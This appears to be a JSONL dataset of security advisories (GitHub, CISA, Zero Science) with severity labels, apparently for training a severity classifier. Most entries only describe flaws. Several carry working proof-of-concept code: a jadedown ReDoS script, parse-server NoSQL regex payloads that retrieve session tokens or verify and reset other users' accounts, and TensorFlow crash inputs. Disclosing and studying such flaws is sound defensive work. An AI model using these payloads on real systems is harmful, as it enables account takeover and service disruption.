-{"id": "43eef414751555dee3e4", "text": "Information leakage in Error Handler\n\n### Impact\nInformation leakage in Error Handler\n\n### Patches\nWe recommend updating to the current version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-05-2021", "text_raw": "Information leakage in Error Handler\n\n[Severity: MEDIUM]\n\n### Impact\nInformation leakage in Error Handler\n\n### Patches\nWe recommend updating to the current version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-05-2021", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "91e91b2c0453e3ff5ece", "text": "elgg is vulnerable to Authorization Bypass Through User-Controlled Key", "text_raw": "elgg is vulnerable to Authorization Bypass Through User-Controlled Key\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "ba2a8920cbd889d9d1a0", "text": "pomerium_signature is not verified in middleware in github.com/pomerium/pomerium\n\n### Impact\nSome API endpoints under /.pomerium/ do not verify parameters with pomerium_signature. This could allow modifying parameters intended to be trusted to Pomerium.\n\nThe issue mainly affects routes responsible for sign in/out, but does not introduce an authentication bypass.\n\n### Specific Go Packages Affected\ngithub.com/pomerium/pomerium/authenticate\n\n### Patches\nPatched in v0.13.4\n\n### For more information\nIf you have any questions or comments about this advisory\n* Open an issue in [pomerium](http://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "pomerium_signature is not verified in middleware in github.com/pomerium/pomerium\n\n[Severity: MEDIUM]\n\n### Impact\nSome API endpoints under /.pomerium/ do not verify parameters with pomerium_signature. This could allow modifying parameters intended to be trusted to Pomerium. \n\nThe issue mainly affects routes responsible for sign in/out, but does not introduce an authentication bypass.\n\n### Specific Go Packages Affected\ngithub.com/pomerium/pomerium/authenticate\n\n### Patches\nPatched in v0.13.4\n\n### For more information\nIf you have any questions or comments about this advisory\n* Open an issue in [pomerium](http://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ffa47f6ed868b049dcac", "text": "Exposure of .env if project root is configured as web root in shopware/production\n\n### Impact\n\nThe .env and other sensitive files can be leaked if the project root and not `/public` is configured as the web root.\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\n\nYou should always use `/public` as the web root.\n\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "text_raw": "Exposure of .env if project root is configured as web root in shopware/production\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe .env and other sensitive files can be leaked if the project root and not `/public` is configured as the web root.\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\n\nYou should always use `/public` as the web root.\n\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "52382092d0823de2babd", "text": "Memory exhaustion in http4s-async-http-client with large or malicious compressed responses\n\n### Impact\nA server we connect to with http4s-async-http-client could theoretically respond with a large or malicious compressed stream and exhaust memory in the client JVM.  It does not affect http4s servers, other client backends, or clients that speak only to trusted servers.  This is related to a transitive dependency on netty-codec-4.1.45.Final, which is affected by [CVE-2020-11612](https://app.snyk.io/vuln/SNYK-JAVA-IONETTY-564897).\n\n### Patches\nUpgrade to http4s-async-http-client >= 0.21.8.  All 1.0 milestones are also safe.\n\n### Workarounds\nAdd an explicit runtime dependency on async-http-client's netty dependencies that evicts them to an unaffected version:\n\n```scala\nlibraryDependencies ++= Seq(\n  \"io.netty\" %  \"netty-codec\"         % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-codec-socks\"   % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-handler-proxy\" % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-common\"        % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-transport\"     % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-handler\"       % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-resolver-dns\"  % \"4.1.53.Final\" % Runtime\n)\n```\n\n### References\n* https://app.snyk.io/vuln/SNYK-JAVA-IONETTY-564897\n* https://github.com/http4s/http4s/issues/3681\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s](https://github.com/http4s/http4s/issues/new)\n* Contact a maintainer privately per [http4s' security policy](https://github.com/http4s/http4s/blob/master/SECURITY.md#reporting-a-vulnerability)", "text_raw": "Memory exhaustion in http4s-async-http-client with large or malicious compressed responses\n\n[Severity: LOW]\n\n### Impact\nA server we connect to with http4s-async-http-client could theoretically respond with a large or malicious compressed stream and exhaust memory in the client JVM.  It does not affect http4s servers, other client backends, or clients that speak only to trusted servers.  This is related to a transitive dependency on netty-codec-4.1.45.Final, which is affected by [CVE-2020-11612](https://app.snyk.io/vuln/SNYK-JAVA-IONETTY-564897).\n\n### Patches\nUpgrade to http4s-async-http-client >= 0.21.8.  All 1.0 milestones are also safe.\n\n### Workarounds\nAdd an explicit runtime dependency on async-http-client's netty dependencies that evicts them to an unaffected version:\n\n```scala\nlibraryDependencies ++= Seq(\n  \"io.netty\" %  \"netty-codec\"         % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-codec-socks\"   % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-handler-proxy\" % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-common\"        % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-transport\"     % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-handler\"       % \"4.1.53.Final\" % Runtime,\n  \"io.netty\" %  \"netty-resolver-dns\"  % \"4.1.53.Final\" % Runtime\n)\n```\n\n### References\n* https://app.snyk.io/vuln/SNYK-JAVA-IONETTY-564897\n* https://github.com/http4s/http4s/issues/3681\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s](https://github.com/http4s/http4s/issues/new)\n* Contact a maintainer privately per [http4s' security policy](https://github.com/http4s/http4s/blob/master/SECURITY.md#reporting-a-vulnerability)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-16", "split": "train"}
-{"id": "0bbf43b4a83cf926cc74", "text": "Cross-site Scripting in yourls\n\nyourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in arbitrary path handling.", "text_raw": "Cross-site Scripting in yourls\n\n[Severity: MEDIUM]\n\nyourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in arbitrary path handling.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "d9470b431fa2a290e23f", "text": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8899905077f757503169", "text": "Upload whitelisted files to any directory in OctoberCMS\n\n### Impact\nAn attacker can exploit this vulnerability to upload jpg, jpeg, bmp, png, webp, gif, ico, css, js, woff, woff2, svg, ttf, eot, json, md, less, sass, scss, xml files to any directory of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/6711dae8ef70caf0e94cec434498012a2ccd86b8 to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1241\" alt=\"Screen Shot 2020-03-31 at 12 21 10 PM\" src=\"https://user-images.githubusercontent.com/7253840/78061230-255f5400-734a-11ea-92b4-1120f6960505.png\">", "text_raw": "Upload whitelisted files to any directory in OctoberCMS\n\n[Severity: LOW]\n\n### Impact\nAn attacker can exploit this vulnerability to upload jpg, jpeg, bmp, png, webp, gif, ico, css, js, woff, woff2, svg, ttf, eot, json, md, less, sass, scss, xml files to any directory of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/6711dae8ef70caf0e94cec434498012a2ccd86b8 to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1241\" alt=\"Screen Shot 2020-03-31 at 12 21 10 PM\" src=\"https://user-images.githubusercontent.com/7253840/78061230-255f5400-734a-11ea-92b4-1120f6960505.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "054c8a9763e4f4eceb5e", "text": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21342](https://x-stream.github.io/CVE-2021-21342.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n[Severity: MEDIUM]\n\n### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21342](https://x-stream.github.io/CVE-2021-21342.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "e2b2eb58aa1554ccb7a6", "text": "Regular Expression Denial of Service in jadedown\n\nThe `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n### Proof of concept\n```js\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\nreturn result;\n}\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = genstr(i, 'f') + genstr(i, '#') + '{';\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    jadedown(str)\n\nvar end = process.hrtime(start);\n    console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011.\n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.", "text_raw": "Regular Expression Denial of Service in jadedown\n\n[Severity: LOW]\n\nThe `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n\n### Proof of concept\n```js\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = genstr(i, 'f') + genstr(i, '#') + '{';\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    jadedown(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011. \n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "71c7e9a897b2336ee8e4", "text": "Realtek Jungle SDK Remote Code Execution Vulnerability\n\nAffected: Realtek Jungle Software Development Kit (SDK)\n\nRealTek Jungle SDK contains multiple memory corruption vulnerabilities which can allow an attacker to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78, CWE-138\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Realtek Jungle SDK Remote Code Execution Vulnerability\n\nAffected: Realtek Jungle Software Development Kit (SDK)\n\nRealTek Jungle SDK contains multiple memory corruption vulnerabilities which can allow an attacker to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78, CWE-138\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "4877b356948516c4395a", "text": "Cross-site Scripting in Grav\n\nGrav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images.", "text_raw": "Cross-site Scripting in Grav\n\n[Severity: MEDIUM]\n\nGrav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "33fa71fd481c4a0ac2e8", "text": "Crouzet em4 soft 1.1.04 Integer Division By Zero", "text_raw": "Crouzet em4 soft 1.1.04 Integer Division By Zero\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-02-29", "split": "train"}
-{"id": "25ea42c2ab8f342ca96f", "text": "Improper Handling of Exceptional Conditions and Origin Validation Error in Eclipse Paho Java client library\n\nIn the Eclipse Paho Java client library version 1.2.0, when connecting to an MQTT server using TLS and setting a host name verifier, the result of that verification is not checked. This could allow one MQTT server to impersonate another and provide the client library with incorrect information.", "text_raw": "Improper Handling of Exceptional Conditions and Origin Validation Error in Eclipse Paho Java client library\n\n[Severity: MEDIUM]\n\nIn the Eclipse Paho Java client library version 1.2.0, when connecting to an MQTT server using TLS and setting a host name verifier, the result of that verification is not checked. This could allow one MQTT server to impersonate another and provide the client library with incorrect information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-17", "split": "train"}
-{"id": "1273fdcdb9db8d978389", "text": "Out-of-bounds write in stack\n\nArrayVec::insert allows insertion of an element into the array object into the specified index. Due to a missing check on the upperbound of this index, it is possible to write out of bounds.", "text_raw": "Out-of-bounds write in stack\n\n[Severity: CRITICAL]\n\nArrayVec::insert allows insertion of an element into the array object into the specified index. Due to a missing check on the upperbound of this index, it is possible to write out of bounds.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c00f0085dc3779204222", "text": "NS International Train Tickets v7.31.4 Reflected XSS Vulnerability", "text_raw": "NS International Train Tickets v7.31.4 Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-12-24", "split": "train"}
-{"id": "214b098ace86d52d4ae0", "text": "Malicious Package in electron-native-notify\n\nAll versions of `electron-native-notify` contain malicious code. The package was part of a targeted attack to steal cryptocurrency wallet seeds and upload them to a remote server, effectively giving attackers access to users wallets.\n\n## Recommendation\n\nRemove the package from your environment and [follow the recommendations by Komodo](https://komodoplatform.com/vulnerability-discovered-in-komodos-agama-wallet-this-is-what-you-need-to-do/)", "text_raw": "Malicious Package in electron-native-notify\n\n[Severity: CRITICAL]\n\nAll versions of `electron-native-notify` contain malicious code. The package was part of a targeted attack to steal cryptocurrency wallet seeds and upload them to a remote server, effectively giving attackers access to users wallets.\n\n\n## Recommendation\n\nRemove the package from your environment and [follow the recommendations by Komodo](https://komodoplatform.com/vulnerability-discovered-in-komodos-agama-wallet-this-is-what-you-need-to-do/)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "f653d3191c382a8ed9e6", "text": "iManager Plugin v1.2.8 (dir) Remote Cross-Site Scripting Vulnerability", "text_raw": "iManager Plugin v1.2.8 (dir) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-17", "split": "train"}
-{"id": "cd5fd0165220eb205786", "text": "SQL injection in pimcore/pimcore\n\nThis affects the package pimcore/pimcore before 10.0.7. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.", "text_raw": "SQL injection in pimcore/pimcore\n\n[Severity: HIGH]\n\nThis affects the package pimcore/pimcore before 10.0.7. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-13", "split": "train"}
-{"id": "99bbd06eb2f9f23c20d7", "text": "Bleach URI Scheme Restriction Bypass\n\nAn issue was discovered in Bleach 2.1.x before 2.1.3. Attributes that have URI values weren't properly sanitized if the values contained character entities. Using character entities, it was possible to construct a URI value with a scheme that was not allowed that would slide through unsanitized.", "text_raw": "Bleach URI Scheme Restriction Bypass\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Bleach 2.1.x before 2.1.3. Attributes that have URI values weren't properly sanitized if the values contained character entities. Using character entities, it was possible to construct a URI value with a scheme that was not allowed that would slide through unsanitized.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "7ab9cab9cfbf760d10ac", "text": "Zend Optimizer 3.3.3 (Windows) Insecure Permissions", "text_raw": "Zend Optimizer 3.3.3 (Windows) Insecure Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2012-04-03", "split": "train"}
-{"id": "d8d82b36625ea4ca3e3c", "text": "Policy resource matcher in Apache Ranger before 0.7.1 ignores characters after '' wildcard character\n\nPolicy resource matcher in Apache Ranger before 0.7.1 ignores characters after '*' wildcard character - like my*test, test*.txt. This can result in unintended behavior.", "text_raw": "Policy resource matcher in Apache Ranger before 0.7.1 ignores characters after '' wildcard character\n\n[Severity: CRITICAL]\n\nPolicy resource matcher in Apache Ranger before 0.7.1 ignores characters after '*' wildcard character - like my*test, test*.txt. This can result in unintended behavior.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "f497b8e8ab66a23c39fc", "text": "Directory traversal in development mode handler in Vaadin 14 and 15-17\n\nImproper URL validation in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.4.1 (Vaadin 14.0.0 through 14.4.2), and 3.0 prior to 5.0 (Vaadin 15 prior to 18) allows attacker to request arbitrary files stored outside of intended frontend resources folder.\n\n- https://vaadin.com/security/cve-2020-36321", "text_raw": "Directory traversal in development mode handler in Vaadin 14 and 15-17\n\n[Severity: MEDIUM]\n\nImproper URL validation in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.4.1 (Vaadin 14.0.0 through 14.4.2), and 3.0 prior to 5.0 (Vaadin 15 prior to 18) allows attacker to request arbitrary files stored outside of intended frontend resources folder.\n\n- https://vaadin.com/security/cve-2020-36321", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "67fd643b75686d6f108b", "text": "Apache ActiveMQ web console vulnerable to Cross-site Scripting\n\nAn instance of a cross-site scripting vulnerability was identified to be present in the web based administration console on the queue.jsp page of Apache ActiveMQ versions 5.0.0 to 5.15.5. The root cause of this issue is improper data filtering of the QueueFilter parameter.", "text_raw": "Apache ActiveMQ web console vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nAn instance of a cross-site scripting vulnerability was identified to be present in the web based administration console on the queue.jsp page of Apache ActiveMQ versions 5.0.0 to 5.15.5. The root cause of this issue is improper data filtering of the QueueFilter parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-30", "split": "train"}
-{"id": "1c9faff78ce8ac6612b4", "text": "Reliance on Cookies without Validation and Integrity Checking in getgrav/grav\n\ngrav is vulnerable to Reliance on Cookies without Validation and Integrity Checking. A cookie with an overly broad path can be accessed through other applications on the same domain. Since cookies often carry sensitive information such as session identifiers, sharing cookies across applications can lead a vulnerability in one application to cause a compromise in another.", "text_raw": "Reliance on Cookies without Validation and Integrity Checking in getgrav/grav\n\n[Severity: MEDIUM]\n\ngrav is vulnerable to Reliance on Cookies without Validation and Integrity Checking. A cookie with an overly broad path can be accessed through other applications on the same domain. Since cookies often carry sensitive information such as session identifiers, sharing cookies across applications can lead a vulnerability in one application to cause a compromise in another.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "7107a3d2609110e15525", "text": "Information disclosure in parse-server\n\n1. you can fetch all the users' objects, by using regex in the NoSQL query.\nUsing the NoSQL, you can use a regex on sessionToken `(\"_SessionToken\":{\"$regex\":\"r:027f\"}}` and find valid accounts this way.\n\nUsing this method, it's possible to retrieve accounts without interaction from the users.\n\nGET /parse/users/me HTTP/1.1\n```\n{\n  \"_ApplicationId\": \"appName\",\n  \"_JavaScriptKey\": \"javascriptkey\",\n  \"_ClientVersion\": \"js2.10.0\",\n  \"_InstallationId\": \"ca713ee2-6e60-d023-a8fe-14e1bfb2f300\",\n  \"_SessionToken\": {\n    \"$regex\": \"r:5\"\n  }\n}\n```\nWhen trying it with an update query the same thing luckily doesn't seem to work:\nPOST /parse/classes/_User/PPNk59jPPZ\n\n2. There is another similar vulnerability in verify email and the request password reset.\n\nIf you sign up with someone else's email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com`\n\nThe same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com`\n\nYou may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.", "text_raw": "Information disclosure in parse-server\n\n[Severity: HIGH]\n\n1. you can fetch all the users' objects, by using regex in the NoSQL query.\nUsing the NoSQL, you can use a regex on sessionToken `(\"_SessionToken\":{\"$regex\":\"r:027f\"}}` and find valid accounts this way.\n\nUsing this method, it's possible to retrieve accounts without interaction from the users.\n\nGET /parse/users/me HTTP/1.1\n```\n{\n  \"_ApplicationId\": \"appName\",\n  \"_JavaScriptKey\": \"javascriptkey\",\n  \"_ClientVersion\": \"js2.10.0\",\n  \"_InstallationId\": \"ca713ee2-6e60-d023-a8fe-14e1bfb2f300\",\n  \"_SessionToken\": {\n    \"$regex\": \"r:5\"\n  }\n}\n```\nWhen trying it with an update query the same thing luckily doesn't seem to work:\nPOST /parse/classes/_User/PPNk59jPPZ\n\n2. There is another similar vulnerability in verify email and the request password reset.\n\nIf you sign up with someone else's email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com`\n\nThe same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com`\n\nYou may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-04", "split": "train"}
-{"id": "5b092d32943c29e25b98", "text": "Incomplete validation in MKL requantization\n\n### Impact\nDue to incomplete validation in MKL implementation of requantization, an  attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RequantizationRangePerChannel(\n  input=[],\n  input_min=[0,0,0,0,0],\n  input_max=[1,1,1,1,1],\n  clip_value_max=1)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/mkl/mkl_requantization_range_per_channel_op.cc) does not validate the dimensions of the `input` tensor.\n\nA similar issue occurs in `MklRequantizePerChannelOp`:\n\n```python\nimport tensorflow as tf \nfrom tensorflow.python.ops import gen_math_ops\n\ngen_math_ops.requantize_per_channel(\n  input=[],\n  input_min=[-100,-100,-100,-100,-100],\n  input_max=[-100,-100,-100],\n  requested_output_min=[-100,-100,-100,-100,-100],\n  requested_output_max=[],\n  out_type=tf.int)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/mkl/mkl_requantize_per_channel_op.cc) does not perform full validation for all the input arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [9e62869465573cb2d9b5053f1fa02a81fce21d69](https://github.com/tensorflow/tensorflow/commit/9e62869465573cb2d9b5053f1fa02a81fce21d69) and in the Github commit [203214568f5bc237603dbab6e1fd389f1572f5c9](https://github.com/tensorflow/tensorflow/commit/203214568f5bc237603dbab6e1fd389f1572f5c9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and 